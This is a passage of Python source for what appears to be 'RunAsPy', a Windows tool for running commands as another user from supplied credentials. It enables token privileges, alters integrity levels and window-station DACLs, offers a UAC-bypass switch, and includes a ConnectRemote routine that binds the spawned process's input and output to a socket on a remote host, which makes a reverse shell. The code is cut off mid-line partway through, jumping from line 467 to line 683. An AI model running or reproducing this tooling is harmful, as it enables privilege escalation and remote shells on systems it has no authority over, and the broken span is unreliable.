29 |
30 | logger_formats = {
31 | logging.DEBUG: grey + "[*] " + log_format + reset,
32 | logging.INFO: cyan + "[+] " + log_format + reset,
33 | logging.WARNING: yellow + "[!] " + log_format + reset,
34 | logging.ERROR: red + "[-] " + log_format + reset,
35 | logging.CRITICAL: bold_red + log_format + reset
36 | }
37 |
38 | def format(self, record):
39 | log_fmt = self.logger_formats.get(record.levelno)
40 | formatter = logging.Formatter(log_fmt)
41 | return formatter.format(record)
42 |
43 | class RunAsPyException(Exception):
44 |
45 | def __init__(self, value, showError=True):
46 | if showError:
47 | error = ctypes.GetLastError()
48 | err_str = ctypes.WinError(error).strerror
49 | self.value = f"{ value } failed with error { error }: { err_str }"
50 | else:
51 | self.value = value
52 |
53 | def __str__(self):
54 | return(repr(self.value))
55 |
56 |
57 | class AccessToken(object):
58 | SECURITY_MANDATORY_UNTRUSTED_RID = 0
59 | SECURITY_MANDATORY_LOW_RID = 0x1000
60 | SECURITY_MANDATORY_MEDIUM_RID = 0x2000
61 | SECURITY_MANDATORY_HIGH_RID = 0x3000
62 | SECURITY_MANDATORY_SYSTEM_RID = 0x4000
63 | SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x5000
64 | SE_PRIVILEGE_ENABLED = 0x00000002
65 | MANDATORY_LABEL_AUTHORITY = bytes([0,0,0,0,0,16])
66 | STANDARD_RIGHTS_REQUIRED = 0x000F0000
67 | STANDARD_RIGHTS_READ = 0x00020000
68 | TOKEN_ASSIGN_PRIMARY = 0x0001
69 | TOKEN_DUPLICATE = 0x0002
70 | TOKEN_IMPERSONATE = 0x0004
71 | TOKEN_QUERY = 0x0008
72 | TOKEN_QUERY_SOURCE = 0x0010
73 | TOKEN_ADJUST_PRIVILEGES = 0x0020
74 | TOKEN_ADJUST_GROUPS = 0x0040
75 | TOKEN_ADJUST_DEFAULT = 0x0080
76 | TOKEN_ADJUST_SESSIONID = 0x0100
77 | TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
78 | TOKEN_ALL_ACCESS = ( STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE
79 | | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES |
80 | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID )
81 | MAXIMUM_ALLOWED = 0x02000000
82 | MANDATORY_LABEL_AUTHORITY = (ctypes.c_byte * 6)(0,0,0,0,0,16)
83 |
84 | def IsFilteredUACToken(hToken):
85 | tokenIsFiltered = False
86 | TokenInfLength = ctypes.wintypes.DWORD(0)
87 | if AccessToken.GetTokenIntegrityLevel(hToken) >= IntegrityLevel.High:
88 | return False
89 | GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, ctypes.c_void_p(0), TokenInfLength, ctypes.byref(TokenInfLength))
90 | tokenElevationPtr = (ctypes.c_byte * TokenInfLength.value)()
91 | if not GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, ctypes.byref(tokenElevationPtr), TokenInfLength, ctypes.byref(TokenInfLength)):
92 | raise RunAsPyException(f"GetTokenInformation TokenElevation")
93 | tokenElevation = ctypes.cast(ctypes.pointer(tokenElevationPtr), ctypes.POINTER(TOKEN_ELEVATION))
94 | if tokenElevation.contents.TokenIsElevated > 0:
95 | tokenIsFiltered = False
96 | else:
97 | TokenInfLength = ctypes.wintypes.DWORD(0)
98 | GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, ctypes.c_void_p(0), TokenInfLength, ctypes.byref(TokenInfLength))
99 | tokenElevationTypePtr = (ctypes.c_byte * TokenInfLength.value)()
100 | if not GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, ctypes.byref(tokenElevationTypePtr), TokenInfLength, ctypes.byref(TokenInfLength)):
101 | raise RunAsPyException("GetTokenInformation TokenElevationType")
102 | tokenElevationType = ctypes.cast(ctypes.pointer(tokenElevationTypePtr), ctypes.POINTER(TOKEN_ELEVATION_TYPE))
103 | if tokenElevationType.contents.TokenElevationType == 3:
104 | tokenIsFiltered = True
105 | return tokenIsFiltered
106 |
107 | def GetTokenPrivileges(tHandle):
108 | privileges = []
109 | TokenInfLength = ctypes.wintypes.DWORD(0)
110 | result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, ctypes.c_void_p(0), TokenInfLength, ctypes.byref(TokenInfLength))
111 | TokenInformation = (ctypes.c_ubyte * TokenInfLength.value)()
112 | result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, ctypes.byref(TokenInformation), TokenInfLength, ctypes.byref(TokenInfLength))
113 | if not result:
114 | raise RunAsPyException(f"GetTokenInformation")
115 | TokenPrivileges = ctypes.cast(ctypes.pointer(TokenInformation), ctypes.POINTER(TOKEN_PRIVILEGES))
116 | for tokenPriv in range(0, TokenPrivileges.contents.PrivilegeCount):
117 | luid = TokenPrivileges.contents.Privileges[tokenPriv].Luid
118 | luidNameLen = ctypes.wintypes.DWORD(0)
119 | LookupPrivilegeName(ctypes.c_void_p(0), ctypes.byref(luid), ctypes.c_void_p(0), ctypes.byref(luidNameLen))
120 | sb = (ctypes.c_char * luidNameLen.value)()
121 | result = LookupPrivilegeName(ctypes.c_void_p(0), ctypes.byref(luid), sb, ctypes.byref(luidNameLen))
122 | if not result:
123 | raise RunAsPyException("LookupPrivilegeName")
124 | privilegeStatus = [
125 | bytes(sb).decode()[:-1],
126 | convertAttributeToString(TokenPrivileges.contents.Privileges[tokenPriv].Attributes)
127 | ]
128 | privileges.append(privilegeStatus)
129 | return privileges
130 |
131 | def EnablePrivilege(privilege, token):
132 | sebLuid = LUID()
133 | tokenp = TOKEN_PRIVILEGES_2()
134 | tokenp.PrivilegeCount = 1
135 | LookupPrivilegeValue(ctypes.c_void_p(0), ctypes.wintypes.LPCSTR(privilege.encode()), ctypes.byref(sebLuid))
136 | tokenp.Luid = sebLuid
137 | tokenp.Attributes = AccessToken.SE_PRIVILEGE_ENABLED
138 | if not AdjustTokenPrivileges(token, ctypes.c_bool(False), ctypes.byref(tokenp), ctypes.wintypes.DWORD(0), ctypes.c_void_p(0), ctypes.c_void_p(0)):
139 | raise RunAsPyException(f"AdjustTokenPrivileges on privilege { privilege }")
140 | logging.info(f"AdjustTokenPrivileges on privilege { privilege } succeeded")
141 |
142 | def EnableAllPrivileges(token):
143 | for privilege in privileges:
144 | AccessToken.EnablePrivilege(privilege, token)
145 |
146 | def GetTokenIntegrityLevel(hToken):
147 | illevel = IntegrityLevel.Unknown
148 | cb = ctypes.wintypes.DWORD(0)
149 | GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, ctypes.c_void_p(None), ctypes.wintypes.DWORD(0), ctypes.byref(cb))
150 | pb = (ctypes.c_char * cb.value)()
151 | if GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, ctypes.byref(pb), cb, ctypes.byref(cb)):
152 | pSid = ctypes.c_void_p.from_address(ctypes.addressof(pb))
153 | dwIntegrityLevel = GetSidSubAuthority(pSid, ctypes.wintypes.DWORD(GetSidSubAuthorityCount(pSid).contents.value - 1))
154 | if dwIntegrityLevel.contents.value == AccessToken.SECURITY_MANDATORY_LOW_RID:
155 | return IntegrityLevel.Low
156 | elif dwIntegrityLevel.contents.value >= AccessToken.SECURITY_MANDATORY_MEDIUM_RID and dwIntegrityLevel.contents.value < AccessToken.SECURITY_MANDATORY_HIGH_RID:
157 | return IntegrityLevel.Medium
158 | elif dwIntegrityLevel.contents.value >= AccessToken.SECURITY_MANDATORY_HIGH_RID:
159 | return IntegrityLevel.High
160 | elif dwIntegrityLevel.contents.value >= AccessToken.SECURITY_MANDATORY_SYSTEM_RID:
161 | return IntegrityLevel.System
162 | return IntegrityLevel.Unknown
163 | return illevel
164 |
165 | def SetTokenIntegrityLevel(hToken, integrity):
166 | ret = False
167 | pSID = ctypes.c_void_p(0)
168 | tokenLabel = TOKEN_MANDATORY_LABEL()
169 | authoritySidStruct = SID_IDENTIFIER_AUTHORITY()
170 | authoritySidStruct.Value = AccessToken.MANDATORY_LABEL_AUTHORITY
171 | pLabelAuthority = (ctypes.c_ubyte * ctypes.sizeof(authoritySidStruct))()
172 | ctypes.memmove(pLabelAuthority, ctypes.byref(authoritySidStruct), ctypes.sizeof(pLabelAuthority))
173 | result = AllocateAndInitializeSid(
174 | ctypes.byref(pLabelAuthority),
175 | ctypes.c_byte(1),
176 | ctypes.wintypes.DWORD(integrity),
177 | ctypes.wintypes.DWORD(0),
178 | ctypes.wintypes.DWORD(0),
179 | ctypes.wintypes.DWORD(0),
180 | ctypes.wintypes.DWORD(0),
181 | ctypes.wintypes.DWORD(0),
182 | ctypes.wintypes.DWORD(0),
183 | ctypes.wintypes.DWORD(0),
184 | ctypes.byref(pSID)
185 | )
186 | tokenLabel.Label.Sid = pSID
187 | tokenLabel.Label.Attributes = TokenGroupAttributes.SE_GROUP_INTEGRITY
188 | labelSize = ctypes.sizeof(tokenLabel)
189 | pLabel = (ctypes.c_ubyte * labelSize)()
190 | ctypes.memmove(pLabel, ctypes.byref(tokenLabel), ctypes.sizeof(pLabel))
191 | result = SetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, ctypes.byref(pLabel), ctypes.wintypes.DWORD(labelSize))
192 | if not result:
193 | raise RunAsPyException(f"[!] Failed to set the token's Integrity Level ({integrity})")
194 | else:
195 | ret = True
196 | return ret
197 |
198 |
199 | def CreateAnonymousPipeEveryoneAccess(hReadPipe, hWritePipe):
200 | sa = SECURITY_ATTRIBUTES()
201 | sa.nLength = ctypes.sizeof(sa)
202 | sa.lpSecurityDescriptor = ctypes.c_void_p(0)
203 | sa.bInheritHandle = True
204 | if CreatePipe(ctypes.byref(hReadPipe), ctypes.byref(hWritePipe), ctypes.byref(sa), ctypes.wintypes.DWORD(BUFFER_SIZE_PIPE)):
205 | return True
206 | return False
207 |
208 | def ParseCommonProcessInCommandline(commandline):
209 | if (commandline[0].lower() == "cmd" or commandline[0].lower() == "cmd.exe"):
210 | commandline[0] = os.environ['COMSPEC']
211 | elif (commandline[0].lower() == "powershell" or commandline[0].lower() == "powershell.exe"):
212 | commandline[0] = f"{os.environ['WINDIR']}\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
213 | return " ".join(commandline)
214 |
215 | def CheckAvailableUserLogonType(username, password, domainName, logonType, logonProvider):
216 | hTokenCheck1 = ctypes.wintypes.HANDLE(0)
217 | if not LogonUser(username, domainName, password, logonType, logonProvider.value, ctypes.byref(hTokenCheck1)):
218 | if ctypes.GetLastError() == ERROR_LOGON_TYPE_NOT_GRANTED:
219 | availableLogonType = 0
220 | for logonTypeTry in [LOGON32_LOGON_SERVICE, LOGON32_LOGON_BATCH, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_LOGON_NETWORK, LOGON32_LOGON_INTERACTIVE]:
221 | hTokenCheck2 = ctypes.c_void_p(0)
222 | if LogonUser(username, domainName, password, logonTypeTry, logonProvider, hTokenCheck2):
223 | availableLogonType = logonTypeTry
224 | if AccessToken.GetTokenIntegrityLevel(hTokenCheck2) > IntegrityLevel.Medium:
225 | availableLogonType = logonTypeTry
226 | CloseHandle(hTokenCheck2)
227 | break
228 | if hTokenCheck2.value != 0:
229 | CloseHandle(hTokenCheck2)
230 | if availableLogonType != 0:
231 | raise RunAsPyException(f"Selected logon type '{ logonType }' is not granted to the user '{ username.decode() }'. Use available logon type '{ availableLogonType.value }'.")
232 | else:
233 | raise RunAsPyException(f"LogonUser")
234 | raise RunAsPyException(f"LogonUser")
235 | if hTokenCheck1.value != 0:
236 | CloseHandle(hTokenCheck1)
237 |
238 | def GetProcessFunction(createProcessFunction):
239 | if createProcessFunction == 0:
240 | return "CreateProcessAsUserW()"
241 | elif createProcessFunction == 1:
242 | return "CreateProcessWithTokenW()"
243 | else:
244 | return "CreateProcessWithLogonW()"
245 |
246 | def GetUserSid(domain, username):
247 | err = 0
248 | Sid = ctypes.c_byte()
249 | cbSid = ctypes.wintypes.DWORD(0)
250 | referencedDomainName = ctypes.wintypes.LPSTR(None)
251 | cchReferencedDomainName = ctypes.wintypes.DWORD(0)
252 | if domain and domain != b".":
253 | fqan = domain + b"\\" + username
254 | else:
255 | fqan = username
256 | fqan_buffer = ctypes.create_string_buffer(fqan, len(fqan) + 1)
257 | if not LookupAccountName(None, fqan_buffer, ctypes.byref(Sid), ctypes.byref(cbSid), referencedDomainName, ctypes.byref(cchReferencedDomainName), ctypes.byref(SID_NAME_USE.SidTypeUser)):
258 | if ctypes.GetLastError() in [ERROR_INVALID_FLAGS, ERROR_INSUFFICIENT_BUFFER]:
259 | Sid = (ctypes.c_byte * cbSid.value)()
260 | referencedDomainName = ctypes.create_string_buffer(cchReferencedDomainName.value)
261 | if not LookupAccountName(None, fqan_buffer, ctypes.byref(Sid), ctypes.byref(cbSid), referencedDomainName, ctypes.byref(cchReferencedDomainName), ctypes.byref(SID_NAME_USE.SidTypeUser)):
262 | err = ctypes.GetLastError()
263 | else:
264 | raise RunAsPyException(f"The username { fqan } has not been found. LookupAccountName")
265 | if err != 0:
266 | raise RunAsPyException(f"The username { fqan } has not been found. LookupAccountName")
267 | return Sid
268 |
269 | def DefaultCreateProcessFunction():
270 | currentTokenHandle = ctypes.wintypes.HANDLE(0)
271 | SeAssignPrimaryTokenPrivilegeAssigned = False
272 | SeImpersonatePrivilegeAssigned = False
273 | if not OpenProcessToken(ctypes.wintypes.HANDLE(-1), ctypes.wintypes.DWORD(AccessToken.TOKEN_QUERY), ctypes.byref(currentTokenHandle)):
274 | raise RunAsPyException("Failed to obtain token")
275 | privs = AccessToken.GetTokenPrivileges(currentTokenHandle)
276 | for priv in privs:
277 | if priv[0] == "SeAssignPrimaryTokenPrivilege" and AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= IntegrityLevel.Medium:
278 | SeAssignPrimaryTokenPrivilegeAssigned = True
279 | elif priv[0] == "SeImpersonatePrivilege" and AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= IntegrityLevel.High:
280 | SeImpersonatePrivilegeAssigned = True
281 | if SeAssignPrimaryTokenPrivilegeAssigned:
282 | createProcessFunction = 0
283 | elif SeImpersonatePrivilegeAssigned:
284 | createProcessFunction = 1
285 | else:
286 | createProcessFunction = 2
287 | return createProcessFunction
288 |
289 | class WindowStationDACL(object):
290 | def __init__(self):
291 | self.hWinsta = ctypes.c_void_p(0)
292 | self.hDesktop = ctypes.c_void_p(0)
293 | self.userSid = ctypes.c_void_p(0)
294 |
295 | def AddAllowedAceToDACL(self, pDacl, mask, aceFlags, aceSize):
296 | offset = ctypes.sizeof(ACCESS_ALLOWED_ACE) - ctypes.sizeof(ctypes.c_uint)
297 | AceHeader = ACE_HEADER()
298 | AceHeader.AceType = ACCESS_ALLOWED_ACE_TYPE
299 | AceHeader.AceFlags = aceFlags
300 | AceHeader.AceSize = aceSize
301 | pNewAcePtr = (ctypes.c_ubyte * aceSize)()
302 | pNewAceStruct = ACCESS_ALLOWED_ACE()
303 | pNewAceStruct.Header = AceHeader
304 | pNewAceStruct.Mask = mask
305 | sidStartPtr = ctypes.addressof(pNewAcePtr) + offset
306 | ctypes.memmove(pNewAcePtr, ctypes.byref(pNewAceStruct), ctypes.sizeof(pNewAceStruct))
307 | if not CopySid(ctypes.wintypes.DWORD(GetLengthSid(self.userSid)), ctypes.c_void_p(sidStartPtr), ctypes.byref(self.userSid)):
308 | raise RunAsPyException("CopySid")
309 | if not AddAce(ctypes.byref(pDacl), ctypes.wintypes.DWORD(ACL_REVISION), ctypes.wintypes.DWORD(MAXDWORD), ctypes.byref(pNewAcePtr), ctypes.wintypes.DWORD(aceSize)):
310 | raise RunAsPyException("AddAce")
311 |
312 | def AddAce(self, target):
313 | if target not in self.__dict__:
314 | raise RunAsPyException(f"{target} not an attribute of WinStationDACL object")
315 | pSd = ctypes.c_void_p(0)
316 | pDacl = ctypes.c_void_p(0)
317 | cbSd = ctypes.wintypes.DWORD(0)
318 | fDaclExist = ctypes.c_bool(False)
319 | fDaclPresent = ctypes.c_bool(False)
320 | aclSizeInfo = ACL_SIZE_INFORMATION()
321 | si = SECURITY_INFORMATION.DACL_SECURITY_INFORMATION
322 | if not GetUserObjectSecurity(ctypes.wintypes.HANDLE(self.__dict__[target]), ctypes.byref(si), ctypes.byref(pSd), ctypes.wintypes.DWORD(0), ctypes.byref(cbSd)):
323 | if ctypes.GetLastError() != ERROR_INSUFFICIENT_BUFFER:
324 | raise RunAsPyException(f"GetUserObjectSecurity 1 size")
325 | pSd = (ctypes.c_ubyte * cbSd.value)()
326 | if not GetUserObjectSecurity(ctypes.wintypes.HANDLE(self.__dict__[target]), ctypes.byref(si), ctypes.byref(pSd), cbSd, ctypes.byref(cbSd)):
327 | raise RunAsPyException(f"GetUserObjectSecurity 2")
328 | if not GetSecurityDescriptorDacl(ctypes.byref(pSd), ctypes.byref(fDaclPresent), ctypes.byref(pDacl), ctypes.byref(fDaclExist)):
329 | raise RunAsPyException(f"GetSecurityDescriptorDacl")
330 | if not pDacl:
331 | cbDacl = 0
332 | else:
333 | if not GetAclInformation(pDacl, ctypes.byref(aclSizeInfo), ctypes.wintypes.DWORD(ctypes.sizeof(aclSizeInfo)), ACL_INFORMATION_CLASS.AclSizeInformation):
334 | raise RunAsPyException(f"GetAclInformation")
335 | cbDacl = aclSizeInfo.AclBytesInUse
336 | pNewSd = (ctypes.c_byte * cbSd.value )()
337 | if not InitializeSecurityDescriptor(ctypes.byref(pNewSd), ctypes.wintypes.DWORD(SECURITY_DESCRIPTOR_REVISION)):
338 | raise RunAsPyException(f"InitializeSecurityDescriptor")
339 | cbNewAce = ctypes.sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(self.userSid) - ctypes.sizeof(ctypes.c_uint)
340 | if not cbDacl:
341 | cbNewDacl = 8 + ((cbNewAce*2) if target == "hWinsta" else cbNewAce)
342 | else:
343 | cbNewDacl = cbDacl + ((cbNewAce*2) if target == "hWinsta" else cbNewAce)
344 | pNewDacl = (ctypes.c_byte * cbNewDacl)()
345 | if not InitializeAcl(ctypes.byref(pNewDacl), ctypes.wintypes.DWORD(cbNewDacl), ctypes.wintypes.DWORD(ACL_REVISION)):
346 | raise RunAsPyException(f"InitializeAcl")
347 | if fDaclPresent:
348 | for dwIndex in range(0, aclSizeInfo.AceCount):
349 | pTempAce = ctypes.c_void_p(0)
350 | if not GetAce(pDacl, ctypes.wintypes.DWORD(dwIndex), ctypes.byref(pTempAce)):
351 | raise RunAsPyException(f"GetAce")
352 | pTempAceStruct = ctypes.cast(pTempAce, ctypes.POINTER(ACE_HEADER))
353 | if not AddAce(ctypes.byref(pNewDacl), ctypes.wintypes.DWORD(ACL_REVISION), ctypes.wintypes.DWORD(MAXDWORD), pTempAce, ctypes.wintypes.DWORD(pTempAceStruct.contents.AceSize)):
354 | raise RunAsPyException("AddAce")
355 | if target == "hWinsta":
356 | self.AddAllowedAceToDACL(pNewDacl, ACCESS_MASK.GENERIC_ACCESS, (CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE), cbNewAce)
357 | self.AddAllowedAceToDACL(pNewDacl, ACCESS_MASK.WINSTA_ALL, NO_PROPAGATE_INHERIT_ACE, cbNewAce)
358 | elif target == "hDesktop":
359 | if not AddAccessAllowedAce(ctypes.byref(pNewDacl), ctypes.wintypes.DWORD(ACL_REVISION), ctypes.wintypes.DWORD(ACCESS_MASK.DESKTOP_ALL), self.userSid):
360 | raise RunAsPyException("AddAccessAllowedAce")
361 | if not SetSecurityDescriptorDacl(ctypes.byref(pNewSd), ctypes.c_bool(True), ctypes.byref(pNewDacl), ctypes.c_bool(False)):
362 | raise RunAsPyException("SetSecurityDescriptorDacl")
363 | if not SetUserObjectSecurity(ctypes.wintypes.HANDLE(self.__dict__[target]), ctypes.byref(si), ctypes.byref(pNewSd)):
364 | raise RunAsPyException("SetUserObjectSecurity")
365 |
366 | def AddAclToActiveWindowStation(self, domain, username, logonType):
367 | desktop = ctypes.create_string_buffer(b"Default", 8)
368 | lengthNeeded = ctypes.wintypes.DWORD(0)
369 | hWinstaSave = GetProcessWindowStation()
370 | stationNameBytes = (ctypes.c_byte * 256)()
371 | if not hWinstaSave:
372 | raise RunAsPyException(f"GetProcessWindowStation")
373 | if not GetUserObjectInformation(ctypes.wintypes.HANDLE(hWinstaSave), ctypes.c_int(UOI_NAME), ctypes.byref(stationNameBytes), ctypes.wintypes.DWORD(256), ctypes.byref(lengthNeeded)):
374 | raise RunAsPyException(f"GetUserObjectInformation")
375 | stationName = bytes(stationNameBytes)[:lengthNeeded.value - 1]
376 | if logonType != 9:
377 | self.hWinsta = OpenWindowStation(stationName, ctypes.c_bool(False), (READ_CONTROL | WRITE_DAC))
378 | if not self.hWinsta:
379 | raise RunAsPyException("OpenWindowStation")
380 | if not SetProcessWindowStation(ctypes.wintypes.HANDLE(self.hWinsta)):
381 | raise RunAsPyException("SetProcessWindowStation hWinsta")
382 | self.hDesktop = OpenDesktop(ctypes.byref(desktop), ctypes.wintypes.DWORD(0), ctypes.c_bool(False), ctypes.wintypes.DWORD(READ_CONTROL | WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS))
383 | if not SetProcessWindowStation(ctypes.wintypes.HANDLE(hWinstaSave)):
384 | raise RunAsPyException("SetProcessWindowStation hWinstaSave")
385 | if not self.hWinsta:
386 | raise RunAsPyException("OpenDesktop")
387 | self.userSid = GetUserSid(domain, username)
388 | self.AddAce('hWinsta')
389 | self.AddAce('hDesktop')
390 | return stationName + b"\\Default"
391 |
392 |
393 | class RunAsPy():
394 | def __init__(self):
395 | self.hOutputRead = ctypes.c_void_p()
396 | self.hOutputWrite = ctypes.c_void_p()
397 | self.hErrorWrite = ctypes.c_void_p()
398 | self.socket = ctypes.c_void_p()
399 | self.stationDaclObj = None
400 | self.startupInfo = STARTUPINFO()
401 | self.hTokenPreviousImpersonatingThread = ctypes.c_void_p()
402 | self.logonTypeNotFiltered = 0
403 |
404 | def ImpersonateLoggedOnUserWithProperIL(self, hToken):
405 | TokenImpersonation = 2
406 | hTokenDuplicateLocal = ctypes.c_void_p(0)
407 | pHandle = ctypes.wintypes.HANDLE(0)
408 | current_thread = GetCurrentThread()
409 | if not OpenThreadToken(ctypes.wintypes.HANDLE(current_thread), ctypes.wintypes.DWORD(AccessToken.TOKEN_ALL_ACCESS), ctypes.c_bool(False), ctypes.byref(pHandle)):
410 | error = ctypes.GetLastError()
411 | if error != ERROR_NO_TOKEN:
412 | raise RunAsPyException(f"Failed to obtain token: { error }")
413 | else:
414 | self.hTokenPreviousImpersonatingThread = pHandle
415 | if not DuplicateTokenEx(hToken, ctypes.wintypes.DWORD(AccessToken.TOKEN_ALL_ACCESS), ctypes.c_void_p(0), SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, ctypes.c_int(TokenImpersonation), ctypes.byref(hTokenDuplicateLocal)):
416 | raise RunAsPyException(f"DuplicateTokenEx")
417 | pToken = ctypes.wintypes.HANDLE(0)
418 | if not OpenProcessToken(ctypes.wintypes.HANDLE(-1), ctypes.wintypes.DWORD(AccessToken.TOKEN_ALL_ACCESS), ctypes.byref(pToken)):
419 | raise RunAsPyException("Failed to obtain token")
420 | if AccessToken.GetTokenIntegrityLevel(pToken) < AccessToken.GetTokenIntegrityLevel(hTokenDuplicateLocal):
421 | AccessToken.SetTokenIntegrityLevel(hTokenDuplicateLocal, AccessToken.GetTokenIntegrityLevel(pToken))
422 | ImpersonateLoggedOnUser(hTokenDuplicateLocal)
423 | return hTokenDuplicateLocal
424 |
425 | def IsLimitedUserLogon(self, hToken, username, domainName, password):
426 | isLimitedUserLogon = False
427 | isTokenUACFiltered = AccessToken.IsFilteredUACToken(hToken)
428 | hTokenNetwork = ctypes.c_void_p(0)
429 | hTokenService = ctypes.c_void_p(0)
430 | hTokenBatch = ctypes.c_void_p(0)
431 | if isTokenUACFiltered:
432 | self.logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT
433 | isLimitedUserLogon = True
434 | else:
435 | userTokenIL = AccessToken.GetTokenIntegrityLevel(hToken)
436 | if LogonUser(username, domainName, password, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_PROVIDER_DEFAULT, ctypes.byref(hTokenNetwork)) and userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenNetwork.value):
437 | isLimitedUserLogon = True
438 | self.logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT.value
439 | elif not isLimitedUserLogon and LogonUser(username, domainName, password, LOGON32_LOGON_SERVICE, LOGON32_PROVIDER_DEFAULT, ctypes.byref(hTokenNetwork)) and userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenService):
440 | isLimitedUserLogon = True
441 | self.logonTypeNotFiltered = LOGON32_LOGON_SERVICE
442 | elif not isLimitedUserLogon and LogonUser(username, domainName, password, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, ctypes.byref(hTokenBatch)) and userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenBatch):
443 | isLimitedUserLogon = True
444 | self.logonTypeNotFiltered = LOGON32_LOGON_BATCH
445 | if hTokenNetwork.value:
446 | CloseHandle(hTokenNetwork)
447 | if hTokenService.value:
448 | CloseHandle(hTokenService)
449 | if hTokenBatch.value:
450 | CloseHandle(hTokenBatch)
451 | return isLimitedUserLogon
452 |
453 | def ConnectRemote(self, remote):
454 | host, port = remote.split(":")
455 | try:
456 | port = int(port)
457 | except:
458 | raise RunAsPyException(f"Specified port is invalid: { port }")
459 | data = WSADATA()
460 | if WSAStartup(2 << 8 | 2, ctypes.byref(data)):
461 | raise RunAsPyException(f"WSAStartup failed with error code: { ctypes.GetLastError() }")
462 | sock = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, ctypes.c_void_p(0), ctypes.wintypes.DWORD(0), ctypes.wintypes.DWORD(0))
463 | if sock == 0xffff:
464 | raise RunAsPyException(f"Failed to create socket: { ctypes.GetLastError() }")
465 | sockinfo = SOCKADDR_IN()
466 | sockinfo.sin_family = 2
467 | sockinfo.sin_addr = struct.unpack(" 0:
683 | hCurrentProcess = ctypes.wintypes.HANDLE(-1)
684 | if not CreateAnonymousPipeEveryoneAccess(hOutputReadTmpLocal, self.hOutputWrite):
685 | raise RunAsPyException("CreatePipe")
686 | if not DuplicateHandle(hCurrentProcess, self.hOutputWrite, hCurrentProcess, ctypes.byref(self.hErrorWrite), ctypes.wintypes.DWORD(0), True, DUPLICATE_SAME_ACCESS):
687 | raise RunAsPyException("DuplicateHandle stderr write pipe")
688 | if not DuplicateHandle(hCurrentProcess, hOutputReadTmpLocal, hCurrentProcess, ctypes.byref(self.hOutputRead), ctypes.wintypes.DWORD(0), False, DUPLICATE_SAME_ACCESS):
689 | raise RunAsPyException("DuplicateHandle stdout read pipe")
690 | CloseHandle(hOutputReadTmpLocal)
691 | hOutputReadTmpLocal = ctypes.c_void_p(0)
692 | PIPE_NOWAIT = ctypes.wintypes.DWORD(0x00000001)
693 | if not SetNamedPipeHandleState(self.hOutputRead, ctypes.byref(PIPE_NOWAIT), ctypes.c_void_p(0), ctypes.c_void_p(0)):
694 | raise RunAsPyException("SetNamedPipeHandleState")
695 | self.startupInfo.dwFlags = Startf_UseStdHandles
696 | self.startupInfo.hStdOutput = self.hOutputWrite
697 | self.startupInfo.hStdError = self.hErrorWrite
698 | elif remote != None:
699 | self.socket = self.ConnectRemote(remote)
700 | self.startupInfo.dwFlags = Startf_UseStdHandles
701 | self.startupInfo.hStdInput = self.socket
702 | self.startupInfo.hStdOutput = self.socket
703 | self.startupInfo.hStdError = self.socket
704 |
705 | def RunAs(self, username, password, cmd, domainName, processTimeout, logonType, createProcessFunction, remote, forceUserProfileCreation, bypassUac, remoteImpersonation):
706 | if not domainName:
707 | domainName = "."
708 | username = bytes(username.encode())
709 | password = bytes(password.encode())
710 | domainName = bytes(domainName.encode())
711 | commandLine = ParseCommonProcessInCommandline(cmd)
712 | logonProvider = LOGON32_PROVIDER_DEFAULT
713 | self.startupInfo.cb = ctypes.sizeof(self.startupInfo)
714 | processInfo = PROCESS_INFORMATION()
715 | self.RunasSetupStdHandlesForProcess(processTimeout, remote)
716 | self.stationDaclObj = WindowStationDACL()
717 | desktopName = self.stationDaclObj.AddAclToActiveWindowStation(domainName, username, logonType)
718 | self.startupInfo.lpDesktop = ctypes.wintypes.LPWSTR(desktopName.decode())
719 | if logonType == LOGON32_LOGON_NEW_CREDENTIALS.value:
720 | logonProvider = LOGON32_PROVIDER_WINNT50
721 | if not domainName:
722 | domainName = b"."
723 | CheckAvailableUserLogonType(username, password, domainName, logonType, logonProvider)
724 | if remoteImpersonation:
725 | self.RunasRemoteImpersonation(username, domainName, password, logonType, logonProvider, commandLine, processInfo)
726 | else:
727 | logonFlags = ctypes.c_uint32(0)
728 | userProfileExists = self.IsUserProfileCreated(username, password, domainName, logonType)
729 | if userProfileExists or forceUserProfileCreation:
730 | logonFlags = LOGON_WITH_PROFILE
731 | elif logonType != LOGON32_LOGON_NEW_CREDENTIALS.value and not forceUserProfileCreation and not userProfileExists:
732 | logging.warning(f"[*] Warning: User profile directory for user { username } does not exist. Use --force-profile if you want to force the creation.")
733 | if createProcessFunction == 2:
734 | self.RunasCreateProcessWithLogonW(username, domainName, password, logonType, logonFlags, commandLine, bypassUac, self.startupInfo, processInfo)
735 | else:
736 | if bypassUac:
